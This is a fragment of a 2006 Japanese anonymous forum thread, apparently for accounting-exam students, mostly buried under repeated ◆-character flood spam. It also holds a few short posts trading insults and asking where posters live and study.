◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

35 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:27:35 ID:???
>>19
お前みたいな噂好きを避けるためだ

消えろこのカス

36 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:27:43 ID:???
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

37 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:28:17 ID:???
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

38 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:29:24 ID:???
ここの存在にちょっとの時間気づかなかった絵描きにちょっとした人間ぽさを感じた。

39 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:29:29 ID:???
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

40 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:30:32 ID:???
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

41 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:31:01 ID:???
>>35
お前が消えろカス。
いつまでも同じもん貼り付けてバカかお前は。

42 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:31:02 ID:???
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

43 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:31:36 ID:???
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

44 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:32:15 ID:???
やっぱ東京の人多いの?
名古屋の人いる?

45 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:32:23 ID:???
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

46 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:32:55 ID:???
俺は京都

47 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:33:17 ID:???
>>46
タックですか?

48 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:33:40 ID:???
46ですがTACです。

49 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 02:33:55 ID:???
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

